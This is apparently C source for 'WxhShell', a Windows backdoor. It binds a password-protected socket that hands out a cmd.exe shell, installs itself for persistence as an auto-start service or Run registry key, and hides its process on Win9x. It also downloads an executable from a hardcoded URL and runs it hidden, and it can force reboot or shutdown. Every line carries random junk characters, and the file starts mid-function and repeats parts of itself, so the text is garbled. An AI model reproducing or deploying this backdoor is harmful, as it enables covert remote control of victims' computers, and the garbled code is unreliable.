    if(Boot(SHUTDOWN)) pg<c vok  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P{2ED1T\  
    else { $3970ni,?O  
    closesocket(wsh); ~1,$  
    ExitThread(0); = P$7 "  
    } 0\"]XYOH  
    break; < r b5'  
    } +tYskx/  
  // 获取shell "oR%0pU*  
  case 's': { }1sd<<\`  
    CmdShell(wsh); $O\]cQD`u  
    closesocket(wsh); [e:ccm  
    ExitThread(0); [,z>msEB.  
    break; l]IQjjJ`  
  } W7T2j+]  
  // 退出 `j.-hy>s  
  case 'x': { 8D^ iQBA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |hu9)0 P  
    CloseIt(wsh); F22]4DLHO  
    break; {qSYe!`  
    }  {qH+S/  
  // 离开 k)9 pkPl  
  case 'q': { T^Xum2Ec  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o1 &Oug  
    closesocket(wsh); c&SSf_0O*  
    WSACleanup(); Y#U0g|UDn  
    exit(1); W[73q>'  
    break; 7Uh/Gl  
        } : +fW#:  
  } lOIf4  
  } -li;w tCS  
>+ Im:fD  
  // 提示信息 f+QDjJ?z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7zXX& S  
} h~&5;  
  } DwXSlsN3v  
(xBWxeL~  
  return; k]A$?C0Q<%  
} {r?Ly15  
M_;hfpJZ  
// shell模块句柄 N#X(gEV  
int CmdShell(SOCKET sock) >>h0(G|  
{ XO/JnJ^B  
STARTUPINFO si; gvxOo#8]  
ZeroMemory(&si,sizeof(si)); Qu|<1CrZj]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CX>QP&Gj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <gY.2#6C\%  
PROCESS_INFORMATION ProcessInfo; 0VI[6t@  
char cmdline[]="cmd"; E-$N!KY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "Za'K+4  
  return 0; 2wYY0=k2  
} hOcVxSc.  
glNXamo  
// 自身启动模式 { %af  
int StartFromService(void) ;J?zD9  
{ .+`Z:{:BC&  
typedef struct >=L<3W1  
{ a0B,[i  
  DWORD ExitStatus; -[5yp 2F-{  
  DWORD PebBaseAddress; g; ZVoD  
  DWORD AffinityMask; m<:g\_<  
  DWORD BasePriority; J|WkPv2  
  ULONG UniqueProcessId; Uv=hxV[7y  
  ULONG InheritedFromUniqueProcessId; |-vn,zpe  
}   PROCESS_BASIC_INFORMATION; f9b[0L  
X&|y|  
PROCNTQSIP NtQueryInformationProcess; d@<~u,Mt&F  
CDRz3Hu U  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h%%dRi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tt]ZGn*  
2E=vMAS  
  HANDLE             hProcess; 1\if XJ  
  PROCESS_BASIC_INFORMATION pbi; P%kJq^&  
sfEy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rp,PhS  
  if(NULL == hInst ) return 0; .h>tef  
7?~*F7F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c_.4~>qw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w 8oIq*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L t.Vo  
/AUXO]  
  if (!NtQueryInformationProcess) return 0; `F' >NNY  
!>QD42  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X!/  
  if(!hProcess) return 0; aQ.mvuMa7'  
Qj/.x#T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ch:0qgJ  
v.e~m2u_F  
  CloseHandle(hProcess); Z3nmC-NE  
x[eho,6)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3h>5 6{P  
if(hProcess==NULL) return 0; :~dI2e\:  
+ |d[q?  
HMODULE hMod; p#fV|2'  
char procName[255]; K6; sxF  
unsigned long cbNeeded; ; Uf]-uS  
>KnXj7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c27\S?\ Jd  
AU/L_hg  
  CloseHandle(hProcess); F\hU V[  
b:>t1S Ul  
if(strstr(procName,"services")) return 1; // 以服务启动 FaE,rzn)iD  
LuUfdzH  
  return 0; // 注册表启动 KZt4 dr  
} }6^d/nE*T  
[%yCnt  
// 主模块 58.b@@T  
int StartWxhshell(LPSTR lpCmdLine) , aQ{  
{ ~OQ/ |ws  
  SOCKET wsl; vB T]a  
BOOL val=TRUE; w%Tjn^d  
  int port=0; IA?v[xu  
  struct sockaddr_in door; b#z{["%Zp  
M?zwXmTVW0  
  if(wscfg.ws_autoins) Install(); ]W>kbH Imz  
9 54O=9PQ  
port=atoi(lpCmdLine); )M(-EDL>Qk  
r1QLSD]i6  
if(port<=0) port=wscfg.ws_port; s.uV,E*wu  
3Zeh$DZ  
  WSADATA data; P% ZCACzV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I w-3Z'hOX  
0h",.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g4 G?hv`R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MZInS:Vj  
  door.sin_family = AF_INET; f)/5%W7n}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =]yzy:~ey  
  door.sin_port = htons(port); Y< drRK!  
!XJS"owr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b )mU9   
closesocket(wsl); \gjY h2>  
return 1; 0($ O1j~$  
} y7)$~R):-  
yw9)^JU8"  
  if(listen(wsl,2) == INVALID_SOCKET) { .q^+llM  
closesocket(wsl); ?* %J Gz_  
return 1; QCvz|)  
} )cd5iE:FO  
  Wxhshell(wsl); JVgV,4 1  
  WSACleanup(); BYBf`F)4  
Q-M"+HO  
return 0; +:&,Ts/  
.G|9:b  
} =u#xPI0:  
 wN4N 2  
// 以NT服务方式启动 XFU['BI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  "0( _  
{ 20XN5dTFT  
DWORD   status = 0; Z_qOQ%l  
  DWORD   specificError = 0xfffffff; C VyE5w  
OLS.0UEc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [Q5>4WY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :6r)HJ5sg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FV->226o%  
  serviceStatus.dwWin32ExitCode     = 0; #nOS7Q#uW  
  serviceStatus.dwServiceSpecificExitCode = 0; }pzUHl>  
  serviceStatus.dwCheckPoint       = 0; Fs,#d%4@%  
  serviceStatus.dwWaitHint       = 0; ?UGA-^E1  
bdUe,2Yin  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $ 3/G)/A  
  if (hServiceStatusHandle==0) return; .+ w#n<  
|6d0,muN  
status = GetLastError(); CtO`t5  
  if (status!=NO_ERROR) U94Tp A6  
{ KPcOW#.T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A=S_5y  
    serviceStatus.dwCheckPoint       = 0; 1D/9lR,  
    serviceStatus.dwWaitHint       = 0; Y "RjMyQh  
    serviceStatus.dwWin32ExitCode     = status; ,XJ Xw(LM  
    serviceStatus.dwServiceSpecificExitCode = specificError; I Y='tw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O4mSr{HCp  
    return; oju}0h'1  
  } W"a%IO%'  
3+j!{tJ z2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a$r<%a6  
  serviceStatus.dwCheckPoint       = 0; L(bYG0ZI5C  
  serviceStatus.dwWaitHint       = 0; (` N@4w=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X pH]CF  
} Jbrjt/OG#I  
Av#_cL  
// 处理NT服务事件,比如:启动、停止 zFn-V EJ)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) '%2q'LqSA  
{ CPto?=*A  
switch(fdwControl) >*A"tk#oR  
{ AD ,  
case SERVICE_CONTROL_STOP: y@'m D*z  
  serviceStatus.dwWin32ExitCode = 0; B7 ^*xskH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e{"r3*  
  serviceStatus.dwCheckPoint   = 0; mjwh40x.o  
  serviceStatus.dwWaitHint     = 0; O"D0+BK79e  
  { >8*J ;(:W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A+:X  
  } lLb"><8a  
  return; P'dH*}H  
case SERVICE_CONTROL_PAUSE: Q,.[y"m9Y.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dF?:&oP]  
  break; !BocF<UE  
case SERVICE_CONTROL_CONTINUE: nF8|*}w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KG! W,tB  
  break; ^s_BY+#  
case SERVICE_CONTROL_INTERROGATE: ;c!}'2>vM  
  break; ,1}c% C*,Q  
}; NR* s7>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2th>+M~A  
} aWe?n;  
;E"TOC  
// 标准应用程序主函数 tocZO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?'@tx4#v\2  
{ d1"%sI  
3j]P\T  
// 获取操作系统版本 e B$ S d  
OsIsNt=GetOsVer(); l20fA-T _I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0\N n.x%  
TbY <(wrMZ  
  // 从命令行安装 ac-R q.GQY  
  if(strpbrk(lpCmdLine,"iI")) Install();  m,,FNYW  
YhVV~bvz*  
  // 下载执行文件 VOj{&O2c  
if(wscfg.ws_downexe) { ]%RX\~Q.4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K|n$-WDG}  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^WZcM#~TL  
} |)7dh B  
? ^E B"{  
if(!OsIsNt) { Y ~|C]O  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y_H|Fl^  
HideProc(); a<W[???m/M  
StartWxhshell(lpCmdLine); 1h"CjOp,7  
} u9.x31^  
else -W^jmwM   
  if(StartFromService()) Y'75DE<BC  
  // 以服务方式启动 :KJG3j?   
  StartServiceCtrlDispatcher(DispatchTable); S-M| 6fv  
else |m^qA](M  
  // 普通方式启动 80p?qe  
  StartWxhshell(lpCmdLine); 8b^v@|)N  
xS4B"/  
return 0; A 11w{`EM  
} &s +DK `  
<rO0t9OH  
qB`-[A9HPe  
KNkVI K  
=========================================== &m>yY{ be  
TTJFF\$?  
m_ |:tU(t  
VUo7Evc:.P  
_o 2pyV&  
kiW|h)w_,v  
" v-V#?+#  
"1<>c/h  
#include <stdio.h> <`B4+:;w6  
#include <string.h> |Ew~3-u!  
#include <windows.h> ^* xhbM;  
#include <winsock2.h> I$#B#w?!$r  
#include <winsvc.h> C&&*6E5  
#include <urlmon.h> "kE$2Kg  
3Ishe"  
#pragma comment (lib, "Ws2_32.lib") n^svRM]eQ  
#pragma comment (lib, "urlmon.lib") 8IAf 9  
zfAkWSY  
#define MAX_USER   100 // 最大客户端连接数 vS! TnmF  
#define BUF_SOCK   200 // sock buffer :V(+]<  
#define KEY_BUFF   255 // 输入 buffer 7rc6  
4QK~qAi  
#define REBOOT     0   // 重启 w3l+BUn:X  
#define SHUTDOWN   1   // 关机 P4M*vZq)  
3$.R=MQ7  
#define DEF_PORT   5000 // 监听端口 D[m+= -  
P,$|.p d'  
#define REG_LEN     16   // 注册表键长度 k *a?Ey$  
#define SVC_LEN     80   // NT服务名长度 e~Oge  
M@G <I]\  
// 从dll定义API ^yO+-A2zC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wkO8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,?OV39h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k/"^W.B aj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ft7{P.g  
sXD.*D  
// wxhshell配置信息 ?B)jnBh|  
struct WSCFG { AgOw{bJ%  
  int ws_port;         // 监听端口 Fq]ht*  
  char ws_passstr[REG_LEN]; // 口令 }b// oe7  
  int ws_autoins;       // 安装标记, 1=yes 0=no M![aty@  
  char ws_regname[REG_LEN]; // 注册表键名 (QO8_  
  char ws_svcname[REG_LEN]; // 服务名 gUfLw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nLA8Hy"8z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %n^jho5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h";0i:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h  0EpW5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n9Mi?#xIp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {,Y?+F  
2:31J4t-<  
}; &\3k(j  
x*8lz\w  
// default Wxhshell configuration l!U_7)s/  
struct WSCFG wscfg={DEF_PORT, Z!@<[Vo6  
    "xuhuanlingzhe", 20 j9~+  
    1, o\_@4hXf  
    "Wxhshell", IZ<d~ [y  
    "Wxhshell", 9t 3mU:  
            "WxhShell Service", UStNUNCq  
    "Wrsky Windows CmdShell Service", Ueq*R(9>  
    "Please Input Your Password: ", 6ty>0  
  1, Jj<UtD+  
  "http://www.wrsky.com/wxhshell.exe", Kt(Z&@  
  "Wxhshell.exe" ?s4-2g  
    }; 8"d0Su4r  
C~16Jj:v  
// 消息定义模块 ]Iku(<*Ya  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9#:b+Amzz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ! xU1[,9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]et4B+=i  
char *msg_ws_ext="\n\rExit."; q*^Y8s~3I  
char *msg_ws_end="\n\rQuit."; uXs.7+f  
char *msg_ws_boot="\n\rReboot..."; %i7bkdcwk  
char *msg_ws_poff="\n\rShutdown..."; -`z`K08sT  
char *msg_ws_down="\n\rSave to "; d)'am 3Q  
F %OA  
char *msg_ws_err="\n\rErr!"; D1&%N{  
char *msg_ws_ok="\n\rOK!"; P'.M.I@  
9<0p1WO  
char ExeFile[MAX_PATH]; .hYrE5\-  
int nUser = 0; `+IB;G1  
HANDLE handles[MAX_USER]; 6g/ <FM  
int OsIsNt; 2>l =oXq  
~$#"'Tl4J  
SERVICE_STATUS       serviceStatus; J3oEN'8S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ub C(%Y_k  
`yjHLg  
// 函数声明 ]9xuLJ)  
int Install(void); 6m#V=4e*  
int Uninstall(void); RUJkfi=$  
int DownloadFile(char *sURL, SOCKET wsh); /Iwnl   
int Boot(int flag); ()< E?D=  
void HideProc(void); RC_w 1:h  
int GetOsVer(void); 5r=xhOe`  
int Wxhshell(SOCKET wsl); !.\EU*)1  
void TalkWithClient(void *cs); C2WWS(zn  
int CmdShell(SOCKET sock); $T\W'W R>  
int StartFromService(void); 2$>"4 N  
int StartWxhshell(LPSTR lpCmdLine); 8 |>$M  
:r?gD2q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _ >)+ u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g7($lt>  
|}~2=r z  
// 数据结构和表定义 7H$0NMP  
SERVICE_TABLE_ENTRY DispatchTable[] = TU6e,G|t  
{ ^;";fr Vw  
{wscfg.ws_svcname, NTServiceMain}, o:H^ L,<Tl  
{NULL, NULL}  oCE=!75  
}; Vy]y73~  
+T*=JHOD  
// 自我安装 /S32)=(  
int Install(void) X?,ly3,  
{ AT){OQF8&  
  char svExeFile[MAX_PATH]; uFseO9F.2  
  HKEY key; \)\uAI-  
  strcpy(svExeFile,ExeFile); e):jQite   
X<\E 'v`~  
// 如果是win9x系统,修改注册表设为自启动 !PQ%h/ix  
if(!OsIsNt) {  %2 A-u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M2K{{pGJ[&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E5a1 7ra  
  RegCloseKey(key); q=NI}k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i/ED_<_ Vg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0GUm~zi1  
  RegCloseKey(key); s@USJ4#  
  return 0; l)V!0eW  
    } bSOxM /N  
  } gbb2!q6p  
}  %+\ PN  
else { mAycfa  
j]-0m4QF  
// 如果是NT以上系统,安装为系统服务 3j'A.S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,EkzBVgo  
if (schSCManager!=0) W[pOLc-  
{ I r8,=  
  SC_HANDLE schService = CreateService .hBq1p  
  ( G?:{9. (  
  schSCManager, b2}>{Li0  
  wscfg.ws_svcname, W62 $ HI  
  wscfg.ws_svcdisp, N_dHPa  
  SERVICE_ALL_ACCESS, Bw;gl^:UG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xvP=i/SO  
  SERVICE_AUTO_START, C,*3a`/2M^  
  SERVICE_ERROR_NORMAL, :O`7kZ]=n  
  svExeFile, M^q< qS>d  
  NULL, Ttr)e:  
  NULL, @ |bN[XL  
  NULL, 4( Q_J4}P  
  NULL, /z<7gd~oU  
  NULL ^$8@B]*  
  ); bsfYz  
  if (schService!=0)  {{hp;&x  
  { B,Pbm|U1  
  CloseServiceHandle(schService); U GA_^?4  
  CloseServiceHandle(schSCManager); `pMI @"m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4?+K:e #F  
  strcat(svExeFile,wscfg.ws_svcname); a`c#- je  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4LG[i}u.N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 26SXuFJ@  
  RegCloseKey(key); j@N z  
  return 0; CSKOtqKQ)  
    } C`G+b{o  
  } L]wWJL  
  CloseServiceHandle(schSCManager); W''%{A/'  
} ~ m/nV81  
} Xk9mJ]31LC  
A -C.Bi;/  
return 1; wM$N#K@  
} `ChS$p"A  
mf~Joluc J  
// 自我卸载 noSkKqP  
int Uninstall(void) _&(\>{pm  
{ xwuGJ   
  HKEY key; [ B{F(~O  
#7 )&`  
if(!OsIsNt) { 6MCLm.L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /{)}y  
  RegDeleteValue(key,wscfg.ws_regname); C bWz;$r  
  RegCloseKey(key); UB5CvM28  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NCrNlH IF  
  RegDeleteValue(key,wscfg.ws_regname); pUc N-WA  
  RegCloseKey(key); BiFU3FlTf  
  return 0; (/mR p  
  } m:6^yfS  
} 6tx5{Xl-o  
} 4*AkUkP:T  
else { NO)Hi)$X6Y  
]=gNA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tTjadnX  
if (schSCManager!=0) fwF&V^Dy  
{ Mh =yIx</  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /M,C%.-  
  if (schService!=0) ~Q+E""  
  { ;;4>vF#*  
  if(DeleteService(schService)!=0) { m|') A  
  CloseServiceHandle(schService); d4ga6N3'  
  CloseServiceHandle(schSCManager); 9"W3t]  
  return 0; Yvi.l6JL  
  } O{vVW9Q  
  CloseServiceHandle(schService); ~U;M1>  
  } w3 n6md  
  CloseServiceHandle(schSCManager); `49: !M$i  
} OO?;??  
} Ci-CY/]s  
A#o ~nC<  
return 1; zIzL7oD  
} )r0XQa]@$  
VQ R E ]  
// 从指定url下载文件  YW14X  
int DownloadFile(char *sURL, SOCKET wsh) vpg*J/1[  
{ dguN<yS- E  
  HRESULT hr; ut*sx9l  
char seps[]= "/"; g=gM}`X%  
char *token; ]|xfKDu  
char *file; AjYvYMA&  
char myURL[MAX_PATH]; (]@yDb4  
char myFILE[MAX_PATH]; >P9|?:c  
; b`kN;s  
strcpy(myURL,sURL); e,?qwZK:y  
  token=strtok(myURL,seps); nF5\iV  
  while(token!=NULL) HZawB25{  
  { +=Y[RCXT  
    file=token; l cX'n8/3  
  token=strtok(NULL,seps); Qi=pP/Y  
  } !g.?+~@  
K^5f  
GetCurrentDirectory(MAX_PATH,myFILE); H2jF=U"=  
strcat(myFILE, "\\");  * Cj<Vy  
strcat(myFILE, file); g1H$wU3eu  
  send(wsh,myFILE,strlen(myFILE),0); APJVD-  
send(wsh,"...",3,0); !MyCxM6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); On~w`  
  if(hr==S_OK) )KdEl9o  
return 0; ?3_^SRW&a  
else L^FQ|?*  
return 1; z%q)}$O  
6M#}&Gv  
} l!*!)qCB(S  
 &*Z"r*  
// 系统电源模块 Z?f-_NHg  
int Boot(int flag) O}-+o1  
{ Q,LDn%+;B*  
  HANDLE hToken; $=9g,39  
  TOKEN_PRIVILEGES tkp; \S_o{0ZY}  
:!QT ,  
  if(OsIsNt) { 5M&<tj/[a0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6no&2a|D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  ~LF/wx>  
    tkp.PrivilegeCount = 1; HkQ rij6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LOEiV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >^~W'etX|  
if(flag==REBOOT) { 9 gc0Ri[4m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )i^ S:2  
  return 0; 5F78)q u6N  
} D &Bdl5g  
else { zHX7%x,Cq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h]vu BHJ}  
  return 0; 1>=]lMW  
} mVd%sWD  
  } K2qKkV@  
  else { 8b:GyC5L  
if(flag==REBOOT) { n`X}&(O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S*NeS#!v  
  return 0; szs.B|3X@*  
} c$8M}q:X  
else { bO'?7=SC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3rj7]:Vr  
  return 0; 'j9x(T1M1  
} u#+Is4Vh  
} "=Cjm`9~j  
zXW)v/ ZD  
return 1; &a'mh  
} j" 5 +"j  
0TqIRUz "C  
// win9x进程隐藏模块 ~,Kx"VK  
void HideProc(void) cB6LJ}R  
{ 7S{yKS  
pS~=T}o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2AXf'IOqE  
  if ( hKernel != NULL ) ':7gYP*v  
  { W.(Q u-AE(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); > ofWHl[-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r]deVd G  
    FreeLibrary(hKernel); QKIg5I-  
  } MmQk@~  
>ra)4huZ  
return; gs(ZJO1 /L  
} Aj*|r  
GGU>={D)  
// 获取操作系统版本 {#,?K  
int GetOsVer(void) T2_b5j3i  
{ E/hO0Ox6  
  OSVERSIONINFO winfo; Y^QG\6q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3~\,VO''  
  GetVersionEx(&winfo); H}cq|hodn  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b"y4-KV  
  return 1; .wPI%5D  
  else bl-D{)X  
  return 0; k!V@Q!>,  
} K2gF;(  
Q"QZ^!zRl  
// 客户端句柄模块 98*C/=^TH{  
int Wxhshell(SOCKET wsl) 39bw,lRPV  
{ @2~;)*  
  SOCKET wsh; M Al4g+es  
  struct sockaddr_in client; Eih6?Lpu  
  DWORD myID; PU-L,]K  
'3=@UBs  
  while(nUser<MAX_USER) a(AYY<g  
{ /<k]mY cu  
  int nSize=sizeof(client); ?&D.b$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +ZR>ul-c  
  if(wsh==INVALID_SOCKET) return 1; ojx2[a\  
7.tIf <^$P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1fTf+P  
if(handles[nUser]==0) WJ/X`?k  
  closesocket(wsh); K}vYE7n:  
else 4t 0p!IxG  
  nUser++; M9.FtQhK/  
  } i,mZg+;w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ! u9LZ  
0lU pil  
  return 0; N_E)f  
} T%yGSk  
< =!FB8 .  
// 关闭 socket "%w E>E  
void CloseIt(SOCKET wsh) U^kk0OT^  
{ w&*oWI$i  
closesocket(wsh); E-deXY  
nUser--; ,+v>(h>q  
ExitThread(0); ^;[^L=}8$  
} |Es,$  
gkDXt^Ob  
// 客户端请求句柄 rQ(u@u;  
void TalkWithClient(void *cs) C[CNJ66  
{ WO*dO9O  
PY#_$ C  
  SOCKET wsh=(SOCKET)cs; SP;1XXlL  
  char pwd[SVC_LEN]; aWY#gI{  
  char cmd[KEY_BUFF]; k{ulu  
char chr[1]; & kQj)  
int i,j; A#gy[.Bb  
'26 ,.1  
  while (nUser < MAX_USER) { !1#=j;N`  
CUx-k|\  
if(wscfg.ws_passstr) { .ZupsS9l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hq|{Nt%Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KB$Y8[  
  //ZeroMemory(pwd,KEY_BUFF); e 3TKg  
      i=0; @2sr/gX^  
  while(i<SVC_LEN) { C?]+(P  
U:gvK 8n  
  // 设置超时 ^@<Ia-x  
  fd_set FdRead; D2f~*!vEnA  
  struct timeval TimeOut; bp'\nso/  
  FD_ZERO(&FdRead); |`d-;pk!%  
  FD_SET(wsh,&FdRead); 'M fVZho{  
  TimeOut.tv_sec=8; M %!O)r#Pn  
  TimeOut.tv_usec=0; @=K*gbq5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q:m qA$n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *JO%.QNg  
'`&b1Rc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G@U}4' V9  
  pwd=chr[0]; +*G<xW :M  
  if(chr[0]==0xd || chr[0]==0xa) { $\L=RU!c}  
  pwd=0; j07b!j:"\}  
  break; } a!HbH  
  } ->W rBO  
  i++; L$?YbQo7  
    } A~;+P  
2>)::9e4  
  // 如果是非法用户,关闭 socket Zbf~E {  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,Y@4d79  
} IO"q4(&;P4  
G1:"Gxja  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZeH=]G4Zv7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^2nH6,LPS  
%-an\.a.  
while(1) { juMHc$d17  
"5"{~3Gw^  
  ZeroMemory(cmd,KEY_BUFF); HBZtg  
5>-~!Mg1  
      // 自动支持客户端 telnet标准   7b(r'b@N  
  j=0; PQ" v  
  while(j<KEY_BUFF) { Wqe0m_7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8aVj@x$'  
  cmd[j]=chr[0]; Z& bIjp  
  if(chr[0]==0xa || chr[0]==0xd) { fz%e?@>q  
  cmd[j]=0; 9 xFX"_J  
  break; '\P+Bu]6&  
  } [6%y RQ_  
  j++; ?+L7Bd(EF%  
    } Mlo:\ST|  
)Mh5q&ow  
  // 下载文件 {"_V,HmEF+  
  if(strstr(cmd,"http://")) { ]:Pkh./  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1n#{c5T  
  if(DownloadFile(cmd,wsh)) )H{OqZZYD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;pG5zRe  
  else *s?C\)x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yS4nB04`=  
  } 3m"9q  
  else { 9L>ep&u)^  
uExYgI`<%&  
    switch(cmd[0]) { =g)SZK  
  jsq|K=x,  
